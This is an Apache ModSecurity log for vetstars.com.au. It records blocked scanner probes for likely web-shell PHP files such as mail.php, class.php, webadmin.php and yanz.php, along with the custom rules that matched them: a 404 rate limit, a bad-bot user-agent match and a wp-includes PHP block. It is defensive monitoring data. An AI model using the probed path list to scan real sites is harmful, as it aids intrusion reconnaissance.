[Fri Apr 03 16:10:02.030453 2026] [:error] [pid 40533:tid 40547] [client 5.135.131.226:34438] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "ac912vbIAA8AViDmwst4jQAAAUw"]
[Fri Apr 03 16:10:04.545238 2026] [:error] [pid 33445:tid 33458] [client 5.135.131.226:34448] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "ac913FlRNZ0iDVmJWM1oqgAAAAg"]
[Fri Apr 03 19:18:09.580022 2026] [:error] [pid 33446:tid 33494] [client 110.166.71.39:43694] [client 110.166.71.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ac-h8dg3dCqFYIIdw0oeCwAAAFE"]
[Fri Apr 03 19:25:17.592840 2026] [:error] [pid 40562:tid 40587] [client 216.24.210.100:53629] [client 216.24.210.100] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "ac-jnTfFMXuP9zvqCepcvQAAAZY"]
[Fri Apr 03 21:42:35.392480 2026] [:error] [pid 55174:tid 55200] [client 172.161.140.213:10624] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "ac_Dy5_WKqUonPNUHYz8UwAAAdg"]
[Fri Apr 03 21:42:38.321525 2026] [:error] [pid 33445:tid 33464] [client 172.161.140.213:10434] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "ac_DzllRNZ0iDVmJWM0UQwAAAA4"]
[Fri Apr 03 21:42:39.567532 2026] [:error] [pid 40533:tid 40557] [client 172.161.140.213:13451] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "ac_Dz_bIAA8AViDmwsuzSwAAAVY"]
[Fri Apr 03 21:42:46.022921 2026] [:error] [pid 40562:tid 40565] [client 172.161.140.213:12917] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "ac_D1jfFMXuP9zvqCeqOOAAAAYA"]
[Fri Apr 03 21:42:47.509514 2026] [:error] [pid 35469:tid 35485] [client 172.161.140.213:10785] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aapig.php"] [unique_id "ac_D16GvTIc8-wY3jUSo3gAAAQ4"]
[Fri Apr 03 21:42:48.273026 2026] [:error] [pid 33542:tid 33563] [client 172.161.140.213:10799] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aapig.php"] [unique_id "ac_D2Hwb6uB1LaGtepb_xAAAANI"]
[Fri Apr 03 21:42:49.031035 2026] [:error] [pid 33445:tid 33465] [client 172.161.140.213:16790] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aapig.php"] [unique_id "ac_D2VlRNZ0iDVmJWM0UWAAAAA8"]
[Fri Apr 03 21:42:49.698792 2026] [:error] [pid 40562:tid 40578] [client 172.161.140.213:32290] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aapig.php"] [unique_id "ac_D2TfFMXuP9zvqCeqOPwAAAY0"]
[Fri Apr 03 21:42:50.333595 2026] [:error] [pid 35469:tid 35476] [client 172.161.140.213:16815] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/web.php"] [unique_id "ac_D2qGvTIc8-wY3jUSo4wAAAQU"]
[Fri Apr 03 21:42:50.974150 2026] [:error] [pid 35469:tid 35493] [client 172.161.140.213:13454] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/web.php"] [unique_id "ac_D2qGvTIc8-wY3jUSo5wAAARY"]
[Fri Apr 03 21:42:51.531873 2026] [:error] [pid 35469:tid 35480] [client 172.161.140.213:32274] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/web.php"] [unique_id "ac_D26GvTIc8-wY3jUSo7gAAAQk"]
[Fri Apr 03 21:42:52.205244 2026] [:error] [pid 33446:tid 33493] [client 172.161.140.213:28587] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/web.php"] [unique_id "ac_D3Ng3dCqFYIIdw0p4wAAAAFA"]
[Fri Apr 03 21:42:52.823476 2026] [:error] [pid 33445:tid 33454] [client 172.161.140.213:10756] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "ac_D3FlRNZ0iDVmJWM0UZAAAAAQ"]
[Fri Apr 03 21:42:53.391124 2026] [:error] [pid 55174:tid 55190] [client 172.161.140.213:20722] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "ac_D3Z_WKqUonPNUHYz8XwAAAc4"]
[Fri Apr 03 21:42:54.057815 2026] [:error] [pid 40562:tid 40577] [client 172.161.140.213:23752] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "ac_D3jfFMXuP9zvqCeqORQAAAYw"]
[Fri Apr 03 21:42:54.790957 2026] [:error] [pid 33445:tid 33465] [client 172.161.140.213:23761] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "ac_D3llRNZ0iDVmJWM0UZwAAAA8"]
[Fri Apr 03 21:42:56.216760 2026] [:error] [pid 33447:tid 33508] [client 172.161.140.213:30120] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wander.php"] [unique_id "ac_D4EgaPmDHz92j4lNSUgAAAIQ"]
[Fri Apr 03 21:42:57.794519 2026] [:error] [pid 33445:tid 33462] [client 172.161.140.213:23795] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wander.php"] [unique_id "ac_D4VlRNZ0iDVmJWM0UcAAAAAw"]
[Fri Apr 03 21:42:59.046386 2026] [:error] [pid 40562:tid 40570] [client 172.161.140.213:31157] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wander.php"] [unique_id "ac_D4zfFMXuP9zvqCeqOTAAAAYU"]
[Fri Apr 03 21:43:00.290325 2026] [:error] [pid 33445:tid 33451] [client 172.161.140.213:10430] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wander.php"] [unique_id "ac_D5FlRNZ0iDVmJWM0UfAAAAAE"]
[Fri Apr 03 21:43:01.385818 2026] [:error] [pid 33446:tid 33498] [client 172.161.140.213:11451] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "ac_D5dg3dCqFYIIdw0p4ywAAAFU"]
[Fri Apr 03 21:43:02.704527 2026] [:error] [pid 33446:tid 33496] [client 172.161.140.213:23760] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "ac_D5tg3dCqFYIIdw0p4zQAAAFM"]
[Fri Apr 03 21:43:05.008780 2026] [:error] [pid 35469:tid 35484] [client 172.161.140.213:12912] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "ac_D6aGvTIc8-wY3jUSpCgAAAQ0"]
[Fri Apr 03 21:43:06.172284 2026] [:error] [pid 35469:tid 35477] [client 172.161.140.213:20680] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "ac_D6qGvTIc8-wY3jUSpEwAAAQY"]
[Fri Apr 03 21:43:06.740605 2026] [:error] [pid 40562:tid 40567] [client 172.161.140.213:31108] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lp6.php"] [unique_id "ac_D6jfFMXuP9zvqCeqOVwAAAYI"]
[Fri Apr 03 21:43:07.573167 2026] [:error] [pid 33446:tid 33495] [client 172.161.140.213:51732] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lp6.php"] [unique_id "ac_D69g3dCqFYIIdw0p41gAAAFI"]
[Fri Apr 03 21:43:08.647570 2026] [:error] [pid 33446:tid 33480] [client 172.161.140.213:29109] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lp6.php"] [unique_id "ac_D7Ng3dCqFYIIdw0p42AAAAEM"]
[Fri Apr 03 21:43:09.164050 2026] [:error] [pid 33445:tid 33457] [client 172.161.140.213:30103] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lp6.php"] [unique_id "ac_D7VlRNZ0iDVmJWM0UowAAAAc"]
[Fri Apr 03 21:43:09.932823 2026] [:error] [pid 33445:tid 33461] [client 172.161.140.213:11114] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "ac_D7VlRNZ0iDVmJWM0UpwAAAAs"]
[Fri Apr 03 21:43:10.701879 2026] [:error] [pid 55174:tid 55180] [client 172.161.140.213:47597] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "ac_D7p_WKqUonPNUHYz8cAAAAcQ"]
[Fri Apr 03 21:43:11.371184 2026] [:error] [pid 33445:tid 33474] [client 172.161.140.213:17024] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "ac_D71lRNZ0iDVmJWM0UrAAAABg"]
[Fri Apr 03 21:43:11.994647 2026] [:error] [pid 35469:tid 35494] [client 172.161.140.213:11124] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "ac_D76GvTIc8-wY3jUSpHwAAARc"]
[Fri Apr 03 21:43:12.726151 2026] [:error] [pid 35469:tid 35488] [client 172.161.140.213:1767] [client 172.161.140.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "ac_D8KGvTIc8-wY3jUSpIQAAARE"]
[Fri Apr 03 21:43:13.380765 2026] [:error] [pid 40562:tid 40586] [client 172.161.140.213:39744] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aves.php"] [unique_id "ac_D8TfFMXuP9zvqCeqOagAAAZU"]
[Fri Apr 03 21:43:14.214335 2026] [:error] [pid 33542:tid 33550] [client 172.161.140.213:47598] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aves.php"] [unique_id "ac_D8nwb6uB1LaGtepb_zwAAAMU"]
[Fri Apr 03 21:43:14.896094 2026] [:error] [pid 33446:tid 33482] [client 172.161.140.213:29077] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aves.php"] [unique_id "ac_D8tg3dCqFYIIdw0p44QAAAEU"]
[Fri Apr 03 21:43:15.495848 2026] [:error] [pid 33542:tid 33557] [client 172.161.140.213:11724] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aves.php"] [unique_id "ac_D83wb6uB1LaGtepb_0gAAAMw"]
[Fri Apr 03 21:43:16.357431 2026] [:error] [pid 33446:tid 33498] [client 172.161.140.213:22606] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/webadmin.php"] [unique_id "ac_D9Ng3dCqFYIIdw0p45gAAAFU"]
[Fri Apr 03 21:43:16.993642 2026] [:error] [pid 40562:tid 40582] [client 172.161.140.213:23328] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/webadmin.php"] [unique_id "ac_D9DfFMXuP9zvqCeqOdwAAAZE"]
[Fri Apr 03 21:43:17.740122 2026] [:error] [pid 33446:tid 33492] [client 172.161.140.213:51750] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/webadmin.php"] [unique_id "ac_D9dg3dCqFYIIdw0p46gAAAE8"]
[Fri Apr 03 21:43:18.275918 2026] [:error] [pid 33447:tid 33508] [client 172.161.140.213:11762] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/webadmin.php"] [unique_id "ac_D9kgaPmDHz92j4lNSZgAAAIQ"]
[Fri Apr 03 21:43:18.823117 2026] [:error] [pid 40562:tid 40572] [client 172.161.140.213:15015] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/to.php"] [unique_id "ac_D9jfFMXuP9zvqCeqOfgAAAYc"]
[Fri Apr 03 21:43:19.357126 2026] [:error] [pid 33445:tid 33466] [client 172.161.140.213:11557] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/to.php"] [unique_id "ac_D91lRNZ0iDVmJWM0UwwAAABA"]
[Fri Apr 03 21:43:19.856980 2026] [:error] [pid 33447:tid 33523] [client 172.161.140.213:12669] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/to.php"] [unique_id "ac_D90gaPmDHz92j4lNSZwAAAJM"]
[Fri Apr 03 21:43:20.491060 2026] [:error] [pid 35469:tid 35475] [client 172.161.140.213:20396] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/to.php"] [unique_id "ac_D-KGvTIc8-wY3jUSpNAAAAQQ"]
[Fri Apr 03 21:43:21.181540 2026] [:error] [pid 33446:tid 33494] [client 172.161.140.213:30642] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ac_D-dg3dCqFYIIdw0p4-QAAAFE"]
[Fri Apr 03 21:43:21.952059 2026] [:error] [pid 33446:tid 33483] [client 172.161.140.213:27985] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ac_D-dg3dCqFYIIdw0p5AAAAAEY"]
[Fri Apr 03 21:43:22.608765 2026] [:error] [pid 33446:tid 33489] [client 172.161.140.213:21467] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ac_D-tg3dCqFYIIdw0p5BgAAAEw"]
[Fri Apr 03 21:43:23.314902 2026] [:error] [pid 33445:tid 33464] [client 172.161.140.213:19367] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ac_D-1lRNZ0iDVmJWM0UxQAAAA4"]
[Fri Apr 03 21:43:23.977703 2026] [:error] [pid 40562:tid 40569] [client 172.161.140.213:17376] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yanz.php"] [unique_id "ac_D-zfFMXuP9zvqCeqOhwAAAYQ"]
[Fri Apr 03 21:43:24.471314 2026] [:error] [pid 33447:tid 33525] [client 172.161.140.213:9411] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yanz.php"] [unique_id "ac_D_EgaPmDHz92j4lNSmgAAAJU"]
